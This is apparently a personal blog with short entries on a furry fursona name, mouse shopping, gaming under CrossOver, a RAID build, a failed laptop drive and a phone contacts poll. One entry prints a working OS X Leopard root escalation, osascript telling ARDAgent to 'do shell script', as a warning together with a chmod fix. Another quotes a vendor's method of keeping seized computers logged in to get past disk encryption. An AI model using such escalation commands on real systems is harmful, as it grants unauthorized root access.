So, I've decided on a name for an alternate feral fursona: SPARQLdog.

No, not a Sparkledog. See also: "Opposable thumbs would be nice" by NightmareHound.

Rather, a SPARQL dog.
True fact: The last time I said "SPARQL" in person to someone who knew what it was, the response was "...don't even use that word." (The coffee-pot conversation was about the conference session on SQL schema design being too early in the morning.)

Now I just need to get a commission. :P

By now, you've probably seen the old, tooth-rottingly cute video of dogs playing with polar bears.

The geeky twist that recently dawned upon me is that this is a beautiful if unintentional allegory for how contact between a human-created AI and an alien intelligence might play out. If I was a writer I might be able to do something with that, but alas, this short entry will have to suffice.

Lazyweb, HALP!

The grip rubber on the mouse I've had for a long time has finally deteriorated into something resembling a crumbly kneadable eraser, so I need a new mouse!

I'll miss you, Logitech Mouseman Dual Optical. *sniff*

Unfortunately, the market is flooded with so damn many options that It's taking me way longer to sort out than I'd like. Here's what I want:

• Laser, preferably good enough to track on a very shiny fake-wood-grain table. I'm currently using an overturned memo pad so the optics have something matte to pick up, but I'd rather not need to use anything.

• Right-handed. Ambidextrous mice are nice in theory, but the ergonomics often suffer badly as a result, and I'm already feeling occasional symptoms of wrist tendonitis—at age 21.

• Wireless is okay, but only if it's Bluetooth. Cord spaghetti does not phase me in the slightest, but it would be nice if I didn't have to block one of my two USB ports. Devices that use a nonstandard RF protocol and a receiver dongle defeat the entire fucking point, for me. (IR is off the table as well, for obvious reasons.)

Here's the kicker, the thing I am absolutely 100% inflexible about:

• It MUST be a STANDARD HID mouse. If ANY of the buttons or significant features are unusable without installation of a manufacturer-supplied driver or "utility" of any kind, I WILL NOT CONSIDER THE MOUSE, PERIOD.

What I'm trying to make is actually generalizable to what Twisted would be if the state of the reactor/deferreds lived on disk (persistently) and could be concurrently manipulated by different processes.

So, if you head over to http://down.codeweavers.com/ today, you can get a free copy of CrossOver for Mac or Linux.

This poses a dilemma for me because Steam and TF2 will run under it. The question is whether or not I want to buy TF2 again, because I already own it as part of the Orange Box for my Xbox 360.

+ Not having to pay for the updates! (I want Sandvich, damnit!)
+ Actually being able to get the content updates!
+ Ability to hear the game through a voice headset! (On the 360, my choices are to use headphones and not be able to use voice, or use speakers and the XBL voice-only headset.)
+ More players than on XBL—I think. (Seriously: There are never any games going in my neither-n00b-nor-über ranked bracket. Ever.)
• XBL Gold is already paid through next September.
- Radeon X1600 256MB < Xbox 360
- Buying a game I already fucking own.
- Having to clean off my desk so I can have somewhere to mouse.

No RockBand get-together for Puppy tonight. :(

Instead, I was busy spoon-feeding my soul and will to live to the LaTeX monster. And I'm still not even halfway done with what I need done by 2pm tomorrow! Fuckfuckfuck. *headdesk*

(I am, however, almost 80% done with what I must turn in lest I automatically fail the class.)

Guess what!

If you use the 10.5.4 combo updater (released today), the process of installing it un-does the fix for the ARDAgent security hole!

What is the ARDAgent security hole? It's a design flaw that "works as intended", but ends up letting any user run any command as root. Specifically: all Cocoa applications have some built-in level of AppleScript support by default, including setuid binaries. This is disastrous because the default level of AppleScript support includes the "do shell script" command.

Now the scary example (run from a terminal on OS X Leopard—this issue doesn't affect Tiger):

/ $ osascript -e 'tell app "ARDAgent" to do shell script "whoami"'
root

Let's have some (harmless) fun...

/ $ osascript -e 'tell app "ARDAgent" to do shell script "touch /foobar"'

/ $ ls -l /foobar
-rw-rw-rw- 1 root admin 0 Jun 30 17:55 /foobar

Okay, time to clean up and fix the hole.

/ $ osascript -e 'tell app "ARDAgent" to do shell script "rm /foobar"'

/ $ osascript -e 'tell app "ARDAgent" to do shell script "chmod 0555 /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/MacOS/ARDAgent"'

Let's make sure the hole is gone. (Until the next OS update, or the next time you run "Repair Permissions," which I suggest you don't do until Apple pulls their head out of their collective ass.)

/ $ osascript -e 'tell app "ARDAgent" to do shell script "touch /foobar"'
23:54: execution error: ARDAgent got an error: touch: /foobar: Permission denied (1)

(Mostly from: Rixstep: You're Root, Dude!)

Hello, and welcome to the enrichment center. As part of a required test protocol, we are required to inform you that when the testing is complete, you will be vaporized and separated into recyclable elements by a series of gas centrifuges. Thank you for your cooperation.

— The Management

Yay I'm $534.47 poorer! XD

The damage: Four 500GB drives, to join the two I already have, in a new RAID-Z array. Two PCI-E SATAII controllers, each supporting two drives. One new case, to hold it all. Six SATAII cables with 90-degree plugs, to fit in the new case.

2.5TB of usable space in the array, plus the two loose 320GB drives, and the (500+160+100)GB of firewire externals... that should be enough for a couple years?

Maybe?

*whimper*

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Edit: Yay! The Apple store just called and my MacBook Pro is ready for pick-up!

*happydance*

On Thursday, not long after I got home from a particularly stressful math test, my laptop's hard drive decided to walk the plank.

My first clue that something was amiss was when I rebooted after some updates and saw that the filevault-backup-on-logout had failed. When I went to open up the Time Machine prefpane to try and figure out what the hell went wrong, things suddenly became very slow and unresponsive, exactly the way they would if the hard drive was busy trying in vain to read an unreadable sector. These lock-ups occurred (until some timeout somewhere) every step of the way as I browsed to open up Terminal.app in hopes of finding out what was going on.
As it turned out, tail -f system.log was showing the following message with perfect correlation to each freeze-up: kernel[0]: disk0s2: 0xe0030005 (UNDEFINED). Some quick googling came up with it being a pretty good indicator of impending drive failure. So, a long, sleepless and ultimately doomed effort to save my data ensued. By the middle of the next day, I just decided to give up, schedule an appointment to drop it off at the Apple Store for a new drive, then went to get some more sleep before the 5pm appointment.
I left ddrescue running in a vain hope it might somehow save my data, but during my 3-hour nap it had only managed to copy 31GB out of the first 33GB on the drive. With that high of an error rate, there wasn't a chance I'd get much if any of my data back in a usable state, given that it's all inside an encrypted sparsebundle.

The good news is that I have a complete backup, thanks to Time Machine.
The bad news is that it's from May 7th, no thanks to Time Machine.
(Time machine is unable to make a hot backup of a mounted sparsebundle. In practice, this means that the only time my home directory ever gets backed up is when I'm in the process of logging out, am plugged in to mains power, and have the backup drive connected.)

To combat the boredom of being without most of my externalized brain, I picked up and started reading a roommate's copy of Altered Carbon, because Amazon.com had recommended it to me at some point in the past. The plot, it turns out, is eerily appropriate to what just happened to me: it centers around a murder which completely vaporized the victim's brain and "neural stack" (an intracranial black box, if you will), resulting in the need to restore him from a two-day-old backup. (The attacker presumably did not know about the backups.)

About a week ago, the antenna on my 2005-vintage phone broke off.
Yesterday, I took the plunge and joined the horde of smartphone-wielding zombies by buying a Blackberry Curve (8330).

I had hoped to wait until Android-based phones were available, but the broken antenna forced the issue, and after playing with the phones for a while I just decided that I liked the BlackBerry OS more than Windows Mobile. The trackball is a huge plus over the clunky 4-way button the Windows Mobile offerings had, too.

Anyway, in transferring my contacts over, I've run into an old dilemma again: what to put as the "name" of furry contacts.
On the old phone I just put people's short furry names as the "Name", and that worked well because there wasn't much space anyway. However, on the BlackBerry, there's tons of room for names, and most furry nicknames look pathetically short in the contacts list among "real" names.

Poll #1189562
Open to: All, detailed results viewable to: All, participants: 16

How do you list furry contacts in your phone, when you know both their nickname and real name?

If you chose "Other", please elaborate in a comment.

The "Nickname Last" format is what Quicksilver on my laptop does when I type in the nickname of someone in my address book. If I type in their real first name (or last name) instead, it doesn't display the nickname. Unfortunately, the Blackberry isn't that smart—it lacks a distinct "nickname" field, although it does support arbitrary fields, but the kicker is that it can't "find" contacts based on fields that don't display in the list of contacts.

At least if they can handle colder weather and spread north...

Ants swarm over Houston area, fouling electronics

DALLAS - In what sounds like a really low-budget horror film, voracious swarming ants that apparently arrived in Texas aboard a cargo ship are invading homes and yards across the Houston area, shorting out electrical boxes and messing up computers...

These things, at least in terms of their end effect, remind me of Larry Niven's superconductor-eating bacteria.

We're doomed! Yay! =D

LinkStation Mini: 1TB NAS that fits in the palm of your hand. (Kinda)

I had a dream involving one of these back in November.

Granted, the one in my dream was a bit different:
• It was white plastic, with an iPhone-like touchscreen interface. (Think along the lines of a previous-generation iMac, with symmetric borders around the screen, but without the stand.)
• It was the size of a standard (internal) hard drive.
• It had a battery and could serve files over WiFi.
• It was running Netware. (Ew. *shudder*)

The dream wasn't about the device, rather that one belonging to someone I didn't know well but respected went dead, and I tried to fix it for them by reloading its OS, but somehow wound up with copies of *all* their most private files strewn about and hopelessly mixed in with my own.
My thinking (in the dream) was along the lines of "I can't go through this... this is, like, his entire *life* and I just don't want to be going through it." So, I wound up handing my laptop to a mutual friend I trusted to go through and delete the files from this other guy.

It still strikes me as strange that I would have the nightmare about winding up with copies of someone else's most private files—their secrets.

A furcon with no internets! Ohnoez!

That was resolved quick, heh. (Apparently some dickhead was DOSing the hotel's main router.)

Still, today could have gotten off to a better start. I haven't eaten since breakfast/lunch yesterday because I can never seem to find people.

(This could, I suppose, be a result of not actually knowing that many people.)

<nerd>I really should have taken the time to make a big "LFG FOOD" sign before coming down. Even a PUG for food would be an improvement over intermittently snacking on Oreos.</nerd>

HotPlug is the scariest gadget I've seen in a long time.

From the website: WiebeTech's HotPlug LT allows hot seizure and removal of computers from the field to anywhere else on the planet. HotPlug LT keeps power flowing to the computer while transferring the computer's power input from one A/C source (such as a wall outlet or power strip) to another (a portable UPS) and back again. How to circumvent Whole Disk Encryption The key: Do not allow the encryption to activate. Low level encryption such as Vista's Whole Disk Encryption (WDE) can halt an investigation. Use HotPlug and Mouse Jiggler to prevent encryption technologies from activating. If you can carry away the computer while it's still logged in, you maintain full access to the hard drive.

Thankfully, the "Mouse Jiggler" thing should be pretty easy to defeat in its current implementation. (A change in the number of anonymous HID mice doesn't happen that often, so setting a tripwire on that wouldn't be unreasonable. And if it isn't an anonymous HID mouse, well, whitelisting your known-good devices won't be that much of a chore once someone bothers to write a tripwire program for doing so.)

---

On a tangent, this has got me thinking about how to build a better chassis intrusion sensor—has anyone tried adapting whole-room ultrasonic sensors to work inside a computer chassis? (The theory being that cutting a hole in the chassis to get around contact sensors is going to result in a definite change in the echo characteristics.)

Oh geez.

My brain just decided to make a connection between the "Little Boxes" song and the CSS Box Model, leading to thoughts of "little widgets made of ticky-tacky", an as yet unwritten song decrying Facebook.

(For the record: I do not, nor will I ever have a Facebook account.)